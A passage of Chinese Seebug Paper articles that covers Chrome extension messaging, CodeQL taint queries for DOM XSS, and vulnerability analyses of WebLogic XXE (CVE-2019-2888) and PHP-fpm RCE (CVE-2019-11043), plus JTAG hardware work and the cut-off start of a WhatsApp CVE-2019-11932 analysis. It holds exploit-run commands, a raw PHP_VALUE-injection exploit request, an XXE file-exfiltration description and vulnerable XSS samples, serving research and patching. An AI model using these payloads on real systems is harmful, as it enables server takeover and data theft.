- injected-script content-script popup-js background-js injected-script - window.postMessage - - content-script window.postMessage - chrome.runtime.sendMessage chrome.runtime.connect chrome.runtime.sendMessage chrome.runtime.connect popup-js - chrome.tabs.sendMessage chrome.tabs.connect - chrome.extension. getBackgroundPage() background-js - chrome.tabs.sendMessage chrome.tabs.connect chrome.extension.getViews - devtools-js chrome.devtools.inspectedWindow.eval - chrome.runtime.sendMessage chrome.runtime.sendMessage popup 和 background
popup和background两个域互相直接可以调用js并且访问页面的dom。
popup可以直接用
chrome.extension.getBackgroundPage()
获取background页面的对象,而background可以直接用chrome.extension.getViews({type:'popup'})
获取popup页面的对象。12345678910// background.jsfunction test(){alert('test');}// popup.jsvar bg = chrome.extension.getBackgroundPage();bg.test(); // 访问bg的函数alert(bg.document.body.innerHTML); // 访问bg的DOMpopup\background 和 content js
popup\background 和 content js之间沟通的方式主要依赖
chrome.tabs.sendMessage
和chrome.runtime.onMessage.addListener
这种有关事件监听的交流方式。发送方使用
chrome.tabs.sendMessage
,接收方使用chrome.runtime.onMessage.addListener
监听事件。123chrome.runtime.sendMessage({greeting: '发送方!'}, function(response) {console.log('接受:' + response);});接收方
12345chrome.runtime.onMessage.addListener(function(request, sender, sendResponse){console.log(request, sender, sendResponse);sendResponse('回复:' + JSON.stringify(request));});injected script 和 content-script
由于injected script就相当于页面内执行的js,所以它没权限访问chrome对象,所以他们直接的沟通方式主要是利用
window.postMessage
或者通过DOM事件来实现。injected-script中:
1window.postMessage({"test": 'test!'}, '*');content script中:
1234window.addEventListener("message", function(e){console.log(e.data);}, false);popup\background 动态注入js
popup\background没办法直接访问页面DOM,但是可以通过
chrome.tabs.executeScript
来执行脚本,从而实现对页面DOM的操作。要注意这种操作要求必须有页面权限
123"permissions": ["tabs", "http://*/*", "https://*/*"],js
1234// 动态执行JS代码chrome.tabs.executeScript(tabId, {code: 'document.body.style.backgroundColor="red"'});// 动态执行JS文件chrome.tabs.executeScript(tabId, {file: 'some-script.js'});chrome.storage
chrome 插件还有专门的储存位置,其中包括chrome.storage和chrome.storage.sync两种,其中的区别是:
- chrome.storage 针对插件全局,在插件各个位置保存的数据都会同步。
- chrome.storage.sync 根据账户自动同步,不同的电脑登陆同一个账户都会同步。
插件想访问这个api需要提前声明storage权限。
总结
这篇文章主要描述了关于Chrome ext插件相关的许多入门知识,在谈及Chrome ext的安全问题之前,我们可能需要先了解一些关于Chrome ext开发的问题。
在下一篇文章中,我们将会围绕Chrome ext多个维度的安全问题进行探讨,在现代浏览器体系中,Chrome ext到底可能会带来什么样的安全问题。
re
- https://www.cnblogs.com/liuxianan/p/chrome-plugin-develop.html
- https://developer.chrome.com/extensions/content_scripts
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1082/
- browser_action
-
代码分析引擎 CodeQL 初体验
作者:w7ay@知道创宇404实验室
日期:2019年11月18日QL是一种查询语言,支持对C++,C#,Java,JavaScript,Python,go等多种语言进行分析,可用于分析代码,查找代码中控制流等信息。
之前笔者有简单的研究通过JavaScript语义分析来查找XSS,所以对于这款引擎有浓厚的研究兴趣 。
安装
1.下载分析程序:https://github.com/github/codeql-cli-binaries/releases/latest/download/codeql.zip
分析程序支持主流的操作系统,Windows,Mac,Linux
2.下载相关库文件:https://github.com/Semmle/ql
库文件是开源的,我们要做的是根据这些库文件来编写QL脚本。
3.下载最新版的VScode,安装CodeQL扩展程序:https://marketplace.visualstudio.com/items?itemName=GitHub.vscode-codeql
- 用vscode的扩展可以方便我们看代码
- 然后到扩展中心配置相关参数
4.
- cli填写下载的分析程序路径就行了,windows可以填写codeql.cmd
- 其他地方默认就行
建立数据库
以JavaScript为例,建立分析数据库,建立数据库其实就是用分析程序来分析源码。到要分析源码的根目录,执行
codeql database create jstest --language=javascript
接下来会在该目录下生成一个
jstest
的文件夹,就是数据库的文件夹了。接着用vscode打开之前下载的ql库文件,在ql选择夹中添加刚才的数据库文件,并设置为当前数据库。
接着在QL/javascript/ql/src目录下新建一个test.ql,用来编写我们的ql脚本。为什么要在这个目录下建立文件呢,因为在其他地方测试的时候
import javascript
导入不进来,在这个目录下,有个javascript.qll
就是基础类库,就可以直接引入import javascript
,当然可能也有其他的方法。看它的库文件,它基本把JavaScript中用到的库,或者其他语言的定义语法都支持了。
输出一段hello world试试?
语义分析查找的原理
刚开始接触ql语法的时候可能会感到它的语法有些奇怪,它为什么要这样设计?我先说说自己之前研究基于JavaScript语义分析查找dom-xss是怎样做的。
首先一段类似这样的javascript代码
12var param = location.hash.split("#")[1];document.write("Hello " + param + "!");常规的思路是,我们先找到
document.write
函数,由这个函数的第一个参数回溯寻找,如果发现它最后是location.hash.split("#")[1];
,就寻找成功了。我们可以称document.write
为sink
,称location.hash.split
为source
。基于语义分析就是由sink找到source的过程(当然反过来找也是可以的)。而基于这个目标,就需要我们设计一款理解代码上下文的工具,传统的正则搜索已经无法完成了。
第一步要将JavaScript的代码转换为语法树,通过
pyjsparser
可以进行转换12345678from pyjsparser import parseimport jsonhtml = '''var param = location.hash.split("#")[1];document.write("Hello " + param + "!");'''js_ast = parse(html)print(json.dumps(js_ast)) # 它输出的是python的dict格式,我们用转换为json方便查看最终就得到了如下一个树结构
这些树结构的一些定义可以参考:https://esprima.readthedocs.io/en/3.1/syntax-tree-format.html
大概意思可以这样理解:变量
param
是一个Identifier
类型,它的初始化定义的是一个MemberExpression
表达式,该表达式其实也是一个CallExpression
表达式,CallExpression
表达式的参数是一个Literal
类型,而它具体的定义又是一个MemberExpression
表达式。第二步,我们需要设计一个递归来找到每个表达式,每一个
Identifier
,每个Literal
类型等等。我们要将之前的document.write
转换为语法树的形式1234567891011{"type":"MemberExpression","object":{"type":"Identifier","name":"document"},"property":{"type":"Identifier","name":"write"}}location.hash
也是同理1234567891011{"type":"MemberExpression","object":{"type":"Identifier","name":"location"},"property":{"type":"Identifier","name":"hash"}}在找到了这些
sink
或source
后,再进行正向或反向的回溯分析。回溯分析也会遇到不少问题,如何处理对象的传递,参数的传递等等很多问题。之前也基于这些设计写了一个在线基于语义分析的demoQL语法
QL语法虽然隐藏了语法树的细节,但其实它提供了很多类似
类
,函数
的概念来帮助我们查找相关'语法'。依旧是这段代码为例子
12var param = location.hash.split("#")[1];document.write("Hello " + param + "!");上文我们已经建立好了查询的数据库,现在我们分别来看如何查找sink,source,以及怎样将它们关联起来。
我也是看它的文档:https://help.semmle.com/QL/learn-ql/javascript/introduce-libraries-js.html 学习的,它提供了很多方便的函数,我没有仔细看。我的查询语句都是基于语法树的查询思想,可能官方已经给出了更好的查询方式,所以看看就行了,反正也能用。
查询 document.write
1234567import javascriptfrom Expr dollarArg,CallExpr dollarCallwhere dollarCall.getCalleeName() = "write" anddollarCall.getReceiver().toString() = "document" anddollarArg = dollarCall.getArgument(0)select dollarArg这段语句的意思是查找document.write,并输出它的第一个参数
查找 location.hash.split
123456import javascriptfrom CallExpr dollarCallwhere dollarCall.getCalleeName() = "split" anddollarCall.getReceiver().toString() = "location.hash"select dollarCall查找location.hash.split并输出
数据流分析
接着从
sink
来找到source
,将上面语句组合下,按照官方的文档来就行123456789101112131415161718192021222324252627class XSSTracker extends TaintTracking::Configuration {XSSTracker() {// unique identifier for this configurationthis = "XSSTracker"}override predicate isSource(DataFlow::Node nd) {exists(CallExpr dollarCall |nd.asExpr() instanceof CallExpr anddollarCall.getCalleeName() = "split" anddollarCall.getReceiver().toString() = "location.hash" andnd.asExpr() = dollarCall)}override predicate isSink(DataFlow::Node nd) {exists(CallExpr dollarCall |dollarCall.getCalleeName() = "write" anddollarCall.getReceiver().toString() = "document" andnd.asExpr() = dollarCall.getArgument(0))}}from XSSTracker pt, DataFlow::Node source, DataFlow::Node sinkwhere pt.hasFlow(source, sink)select source,sink将source和sink输出,就能找到它们具体的定义。
我们找到查询到的样本
可以发现它的回溯是会根据变量,函数的返回值一起走的。
当然从source到sink也不可能是一马平川的,中间肯定也会有阻挡的条件,ql官方有给出解决方案。总之就是要求我们更加细化完善ql查询代码。
接下来放出几个查询还不精确的样本,大家可以自己尝试如何进行查询变得精确。
123456var custoom = location.hash.split("#")[1];var param = '';param = " custoom:" + custoom;param = param.replace('<','');param = param.replace('"','');document.write("Hello " + param + "!");123456789quora = {zebra: function (apple) {document.write(this.params);},params:function(){return location.hash.split('#')[1];}};quora.zebra();最后
CodeQL将语法树抽离出来,提供了一种用代码查询代码的方案,更增强了基于数据分析的灵活度。唯一的遗憾是它并没有提供很多查询漏洞的规则,它让我们自己写。这也不由得让我想起另一款强大的基于语义的代码审计工具fortify,它的规则库是公开的,将这两者结合一下说不定会有不一样的火花。
Github公告说将用它来搜索开源项目中的问题,而作为安全研究员的我们来说,也可以用它来做类似的事情?
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1078/
-
WebLogic EJBTaglibDescriptor XXE漏洞(CVE-2019-2888)分析
作者:Longofo@知道创宇404实验室
时间:2019年10月16日这个漏洞和之前@Matthias Kaiser提交的几个XXE漏洞是类似的,而
EJBTaglibDescriptor
应该是漏掉的一个,可以参考之前几个XXE的分析。我和@Badcode师傅反编译了WebLogic所有的Jar包,根据之前几个XXE漏洞的特征进行了搜索匹配到了这个EJBTaglibDescriptor类,这个类在反序列化时也会进行XML解析。Oracle发布了10月份的补丁,详情见链接(https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html)
环境
- Windows 10
- WebLogic 10.3.6.0.190716(安装了19年7月补丁)
- Jdk160_29(WebLogic 自带的JDK)
漏洞分析
weblogic.jar!\weblogic\servlet\ejb2jsp\dd\EJBTaglibDescriptor.class
这个类继承自java\io\Externalizable
因此在序列化与反序列化时会自动调用子类重写的
writeExternal
与readExternal
看下
writeExternal
的逻辑与readExternal
的逻辑,在
readExternal
中,使用ObjectIutput.readUTF
读取反序列化数据中的String数据,然后调用了load方法,在load方法中,使用
DocumentBuilder.parse
解析了反序列化中传递的XML数据,因此这里是可能存在XXE漏洞的在
writeExternal
中,调用了本身的toString
方法,在其中又调用了自身的toXML
方法toXML
的作用应该是将this.beans
转换为对应的xml数据。看起来要构造payload稍微有点麻烦,但是序列化操作是攻击者可控制的,所以我们可以直接修改writeExternal
的逻辑来生成恶意的序列化数据:漏洞复现
1.重写
EJBTaglibDescriptor
中的writeExternal
函数,生成payload2.发送payload到服务器
在我们的HTTP服务器和FTP服务器接收到了my.dtd的请求与win.ini的数据
3.在打了7月份最新补丁的服务器上能看到报错信息
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1067/
-
PHP-fpm 远程代码执行漏洞(CVE-2019-11043)分析
作者:LoRexxar'@知道创宇404实验室
时间:2019年10月25日国外安全研究员 Andrew Danau在解决一道 CTF 题目时发现,向目标服务器 URL 发送 %0a 符号时,服务返回异常,疑似存在漏洞。
2019年10月23日,github公开漏洞相关的详情以及exp。当nginx配置不当时,会导致php-fpm远程任意代码执行。
下面我们就来一点点看看漏洞的详细分析,文章中漏洞分析部分感谢团队小伙伴@Hcamael#知道创宇404实验室
漏洞复现
为了能更方便的复现漏洞,这里我们采用vulhub来构建漏洞环境。
1https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043git pull
并docker-compose up -d
访问
http://{your_ip}:8080/
下载github上公开的exp(需要go环境)。
1go get github.com/neex/phuip-fpizdam然后编译
1go install github.com/neex/phuip-fpizdam使用exp攻击demo网站
1phuip-fpizdam http://{your_ip}:8080/攻击成功
漏洞分析
在分析漏洞原理之前,我们这里可以直接跟入看修复的commit
从commit中我们可以很清晰的看出来漏洞成因应该是
path_info
的地址可控导致的,再结合漏洞发现者公开的漏洞信息中提到1The regexp in `fastcgi_split_path_info` directive can be broken using the newline character (in encoded form, %0a). Broken regexp leads to empty PATH_INFO, which triggers the bug.也就是说,当
path_info
被%0a截断时,path_info
将被置为空,回到代码中我就不难发现问题所在了。其中
env_path_info
就是变量path_info
的地址,path_info
为0则plien
为0.slen
变量来自于请求后url的长度12int ptlen = strlen(pt);int slen = len - ptlen;其中
123456789int len = script_path_translated_len;len为url路径长度当请求url为http://127.0.0.1/index.php/123%0atest.phpscript_path_translated来自于nginx的配置,为/var/www/html/index.php/123\ntest.phpptlen则为url路径第一个斜杠之前的内容长度当请求url为http://127.0.0.1/index.php/123%0atest.phppt为/var/www/html/index.php这两个变量的差就是后面的路径长度,由于路径可控,则
path_info
可控。由于
path_info
可控,在1222行我们就可以将指定地址的值置零,根据漏洞发现者的描述,通过将指定的地址的值置零,可以控制使_fcgi_data_seg
结构体的char* pos
置零。其中
script_name
同样来自于请求的配置而为什么我们使
_fcgi_data_seg
结构体的char* pos
置零,就会影响到FCGI_PUTENV
的结果呢?这里我们深入去看
FCGI_PUTENV
的定义.1char* fcgi_quick_putenv(fcgi_request *req, char* var, int var_len, unsigned int hash_value, char* val);跟入函数
fcgi_quick_putenv
函数直接操作request的env,而这个参数在前面被预定义。
继续跟进初始化函数
fcgi_hash_init
.也就是说
request->env
就是前面提到的fcgi_data_seg
结构体,而这里的request->env
是nginx在和fastcgi通信时储存的全局变量。部分全局变量会在nginx的配置中定义
其中变量会在堆上相应的位置储存
回到利用过程中,这里我们通过控制
path_info
指向request->env
来使request->env->pos
置零。继续回到赋值函数
fcgi_hash_set
函数紧接着进入
fcgi_hash_strndup
这里
h->data-》pos
的最低位被置为0,且str可控,就相当于我们可以在前面写入数据。而问题就在于,我们怎么能向我们想要的位置写数据呢?又怎么向我们指定的配置写文件呢?
这里我们拿exp发送的利用数据包做例子
12345GET /index.php/PHP_VALUE%0Asession.auto_start=1;;;?QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ HTTP/1.1Host: ubuntu.local:8080User-Agent: Mozilla/5.0D-Gisos: 8=====================================DEbut: mamku tvoyu在数据包中,header中的最后两部分就是为了完成这部分功能,其中
D-Gisos
负责位移,向指定的位置写入数据。而
Ebut
会转化为HTTP_EBUT
这个fastcgi_param
中的其中一个全局变量,然后我们需要了解一下fastcgi
中全局变量的获取数据的方法。可以看到当fastcgi想要获取全局变量时,会读取指定位置的长度字符做对比,然后读取一个字符串作为value.
也就是说,只要位置合理,var值相同,且长度相同,fastcgi就会读取相对应的数据。
而
HTTP_EBUT
和PHP_VALUE
恰好长度相同,我们可以从堆上数据的变化来印证这一点。在覆盖之前,该地址对应数据为
然后执行
fcgi_quick_putenv
该地址对应数据变为
我们成功写入了
PHP_VALUE
并控制其内容,这也就意味着我们可以控制PHP的任意全局变量。当我们可以控制PHP的任意全局变量就有很多种攻击方式,这里直接以EXP中使用到的攻击方式来举例子。
exp作者通过开启自动包含,并设置包含目录为
/tmp
,之后设置log地址为/tmp/a
并将payload写入log文件,通过auto_prepend_file
自动包含/tmp/a
文件构造后门文件。漏洞修复
在经过对漏洞的深入研究后,我们推荐两种方案修复这个漏洞。
- 临时修复:
修改nginx相应的配置,并在php相关的配置中加入
1try_files $uri =404在这种情况下,会有nginx去检查文件是否存在,当文件不存在时,请求都不会被传递到php-fpm。
- 正式修复:
- 将PHP 7.1.X更新至7.1.33 https://github.com/php/php-src/releases/tag/php-7.1.33
- 将PHP 7.2.X更新至7.2.24 https://github.com/php/php-src/releases/tag/php-7.2.24
- 将PHP 7.3.X更新至7.3.11 https://github.com/php/php-src/releases/tag/php-7.3.11
漏洞影响
结合EXP github中提到的利用条件,我们可以尽可能的总结利用条件以及漏洞影响范围。
1、Nginx + php_fpm,且配置
location ~ [^/]\.php(/|$)
会将请求转发到php-fpm。
2、Nginx配置fastcgi_split_path_info
并且以^
开始以$
,只有在这种条件下才可以通过换行符来打断正则表达式判断。 ps: 则允许index.php/321 -> index.php
1fastcgi_split_path_info ^(.+?\.php)(/.*)$;3、
fastcgi_param
中PATH_INFO
会被定义通过fastcgi_param PATH_INFO $fastcgi_path_info;
,当然这个变量会在fastcgi_params
默认定义。
4、在nginx层面没有定义对文件的检查比如try_files $uri =404
,如果nginx层面做了文件检查,则请求不会被转发给php-fmp。这个漏洞在实际研究过程中对真实世界危害有限,其主要原因都在于大部分的nginx配置中都携带了对文件的检查,且默认的nginx配置不包含这个问题。
但也正是由于这个原因,在许多网上的范例代码或者部分没有考虑到这个问题的环境,例如Nginx官方文档中的范例配置、NextCloud默认环境,都出现了这个问题,该漏洞也正真实的威胁着许多服务器的安全。
在这种情况下,这个漏洞也切切实实的陷入了黑暗森林法则,一旦有某个带有问题的配置被传播,其导致的可能就是大批量的服务受到牵连,确保及时的更新永远是对保护最好的手段:>
参考链接
- 漏洞issue
- 漏洞发现者提供的环境
- 漏洞exp
- 漏洞成因代码段
- 漏洞修复commit
- vulhub
- https://www.nginx.com/resources/wiki/start/topics/examples/phpfcgi/
- Seebug漏洞收录
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1063/
-
硬件学习之通过树莓派操控 jtag
作者:Hcamael@知道创宇404实验室
时间:2019年10月21日最近在搞路由器的时候,不小心把CFE给刷挂了,然后发现能通过jtag进行救砖,所以就对jtag进行了一波研究。
最开始只是想救砖,并没有想深入研究的想法。
救砖尝试
变砖的路由器型号为:LinkSys wrt54g v8
CPU 型号为:BCM5354
Flash型号为:K8D6316UBM
首先通过jtagulator得到了设备上jtag接口的顺序。
正好公司有一个jlink,但是参试了一波失败,识别不了设备。
随后通过Google搜到发现了一个工具叫: tjtag-pi
可以通树莓派来控制jtag,随后学习了一波树莓派的操作。
树莓派Pins
我使用的是rpi3,其接口编号图如下:
或者在树莓派3中可以使用
gpio readall
查看各个接口的状态:rpi3中的Python有一个
RPi.GPIO
模块,可以控制这些接口。举个例子:
1234>>> from RPi import GPIO>>> GPIO.setmode(GPIO.BCM)>>> GPIO.setup(2, GPIO.OUT)>>> GPIO.setup(3, GPIO.IN)首先是需要进行初始化GPIO的模式,BCM模式对应的针脚排序是上面图中橙色的部门。
然后可以对各个针脚进行单独设置,比如上图中,把2号针脚设置为输出,3号针脚设置为输入。
12>>> GPIO.output(2, 1)>>> GPIO.output(2, 0)使用output函数进行二进制输出
12>>> GPIO.input(3)1使用input函数获取针脚的输入。
我们可以用线把两个针脚连起来测试上面的代码。
将树莓派对应针脚和路由器的连起来以后,可以运行tjtag-pi程序。但是在运行的过程中却遇到了问题,经常会卡在写flash的时候。通过调整配置,有时是可以写成功的,但是CFE并没有被救回来,备份flash的数据,发现并没有成功写入数据。
因为使用轮子失败,所以我只能自己尝试研究和造轮子了。
jtag
首先是针脚,我见过的设备给jtag一般是提供了5 * 2以上的引脚。其中有一般都是接地引脚,另一半只要知道4个最重要的引脚。
这四个引脚一般情况下的排序是:
1234TDITDOTMSTCKTDI表示输入,TDO表示输出,TMS控制位,TCK时钟输入。
jtag大致架构如上图所示,其中TAP-Controller的架构如下图所示:
根据上面这两个架构,对jtag的原理进行讲解。
jtag的核心是TAP-Controller,通过解析TMS数据,来决定输入和输出的关系。所以我们先来看看TAP-Controller的架构。
从上面的图中我们可以发现,在任何状态下,输出5次1,都会回到
TEST LOGIC RESET
状态下。所以在使用jtag前,我们先通过TMS端口,发送5次为1的数据,jtag的状态机将会进入到RESET的复原状态。当TAP进入到
SHIFT-IR
的状态时,Instruction Register
将会开始接收TDI传入的数据,当输入结束后,进入到UPDATE-IR
状态时将会解析指令寄存器的值,随后决定输出什么数据。SHIFT-DR
则是控制数据寄存器,一般是在读写数据的时候需要使用。讲到这里,就出现一个问题了,TMS就一个端口,jtag如何知道TMS每次输入的值是多少呢?这个时候就需要用到TCK端口了,该端口可以称为时钟指令。当TCK从低频变到高频时,获取一比特TMS/TDI输入,TDO输出1比特。
比如我们让TAP进行一次复位操作:
1234for x in range(5):TCK 0TMS 1TCK 1再比如,我们需要给指令寄存器传入0b10:
1.复位
2.进入RUN-TEST/IDLE状态
123TCK 0TMS 0TCK 13.进入SELECT-DR-SCAN状态
123TCK 0TMS 1TCK 14.进入SELECT-IR-SCAN状态
123TCK 0TMS 1TCK 15.进入CAPTURE-IR状态
123TCK 0TMS 0TCK 16.进入SHIFT-IR状态
123TCK 0TMS 0TCK 17.输入0b10
12345678TCK 0TMS 0TDI 0TCK 1TCK 0TMS 1TDI 1TCK 0随后就是进入
EXIT-IR -> UPDATE-IR
根据上面的理论我们就可以通过写一个设置IR的函数:
123456789101112131415161718192021222324def clock(tms, tdi):tms = 1 if tms else 0tdi = 1 if tdi else 0GPIO.output(TCK, 0)GPIO.output(TMS, tms)GPIO.output(TDI, tdi)GPIO.output(TCK, 1)return GPIO.input(TDO)def reset():clock(1, 0)clock(1, 0)clock(1, 0)clock(1, 0)clock(1, 0)clock(0, 0)def set_instr(instr):clock(1, 0)clock(1, 0)clock(0, 0)clock(0, 0)for i in range(INSTR_LENGTH):clock(i==(INSTR_LENGTH - 1), (instr>>i)&1)clock(1, 0)clock(0, 0)把上面的代码理解清楚后,基本就理解了TAP的逻辑。接下来就是指令的问题了,指令寄存器的长度是多少?指令寄存器的值为多少时是有意义的?
不同的CPU对于上面的答案都不一样,通过我在网上搜索的结果,每个CPU应该都有一个bsd(boundary scan description)文件。本篇文章研究的CPU型号是
BCM5354
,但是我并没有在网上找到该型号CPU的bsd文件。我只能找了一个相同厂商不同型号的CPU的bsd文件进行参考。在该文件中我们能看到jtag端口在cpu端口的位置:
123456789101112"tck : B46 , " &"tdi : A57 , " &"tdo : B47 , " &"tms : A58 , " &"trst_b : A59 , " &attribute TAP_SCAN_RESET of trst_b : signal is true;attribute TAP_SCAN_IN of tdi : signal is true;attribute TAP_SCAN_MODE of tms : signal is true;attribute TAP_SCAN_OUT of tdo : signal is true;attribute TAP_SCAN_CLOCK of tck : signal is (2.5000000000000000000e+07, BOTH);能找到指令长度的定义:
1attribute INSTRUCTION_LENGTH of top: entity is 32;能找到指令寄存器的有效值:
12345678attribute INSTRUCTION_OPCODE of top: entity is"IDCODE (11111111111111111111111111111110)," &"BYPASS (00000000000000000000000000000000, 11111111111111111111111111111111)," &"EXTEST (11111111111111111111111111101000)," &"SAMPLE (11111111111111111111111111111000)," &"PRELOAD (11111111111111111111111111111000)," &"HIGHZ (11111111111111111111111111001111)," &"CLAMP (11111111111111111111111111101111) " ;当指令寄存器的值为
IDCODE
的时候,IDCODE寄存器的输出通道开启,我们来看看IDCODE寄存器:12345attribute IDCODE_REGISTER of top: entity is"0000" & -- version"0000000011011111" & -- part number"00101111111" & -- manufacturer's identity"1"; -- required by 1149.1从这里我们能看出IDCODE寄存器的固定输出为:
0b00000000000011011111001011111111
那我们怎么获取TDO的输出呢?这个时候数据寄存器DR就发挥作用了。
- TAP状态机切换到SHIFT-IR
- 输出IDCODE到IR中
- 切换到SHIFT-DR
- 获取INSTRUCTION_LENGTH长度的TDO输出值
- 退出
用代码形式的表示如下:
123456789101112131415161718def ReadWriteData(data):out_data = 0clock(1, 0)clock(0, 0)clock(0, 0)for i in range(32):out_bit = clock((i == 31), ((data >> i) & 1))out_data = out_data | (out_bit << i)clock(1,0)clock(0,0)return out_datadef ReadData():return ReadWriteData(0)def WriteData(data):ReadWriteData(data)def idcode():set_instr(INSTR_IDCODE)print(hex(self.ReadData()))因为我也是个初学者,边界扫描描述文件中的内容并不是都能看得懂,比如在边界扫描文件中并不能看出BYPASS指令是做什么的。但是在其他文档中,得知BYPASS寄存器一般是用来做测试的,在该寄存器中,输入和输出是直连,可以通过比较输入和输出的值,来判断端口是否连接正确。
另外还有边界扫描寄存器一大堆数据,也没完全研究透,相关的资料少的可怜。而且也找不到对应CPU的文档。
当研究到这里的时候,我只了解了jtag的基本原理,只会使用两个基本的指令(IDCODE, BYPASS)。但是对我修砖没任何帮助。
没办法,我又回头来看tjtag的源码,在tjtag中定义了几个指令寄存器的OPCODE:
123INSTR_ADDRESS = 0x08INSTR_DATA = 0x09INSTR_CONTROL = 0x0A照抄着tjtag中flash AMD的操作,可以成功对flash进行擦除,写入操作读取操作。但是却不知其原理。
这里分享下我的脚本:jtag.py
flash文档:https://www.dataman.com/media/datasheet/Samsung/K8D6x16UTM_K8D6x16UBM_rev16.pdf
接下来将会对该flash文档进行研究,并在之后的文章中分享我后续的研究成果。
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1060/
-
WhatsApp UAF 漏洞分析(CVE-2019-11932)
作者:SungLin@知道创宇404实验室
时间:2019年10月23日0x00
新加坡安全研究员Awakened在他的博客中发布了这篇[0]对whatsapp的分析与利用的文章,其工具地址是[1],并且演示了rce的过程[2],只要结合浏览器或者其他应用的信息泄露漏洞就可以直接在现实中远程利用,并且Awakened在博客中也提到了:
1、攻击者通过任何渠道将GIF文件发送给用户其中之一可以是通过WhatsApp作为文档(例如,按“Gallery”按钮并选择“Document”以发送损坏的GIF)
如果攻击者在用户(即朋友)的联系人列表中,则损坏的GIF会自动下载,而无需任何用户交互。
2、用户想将媒体文件发送给他/她的任何WhatsApp朋友。因此,用户按下“Gallery”按钮并打开WhatsApp Gallery以选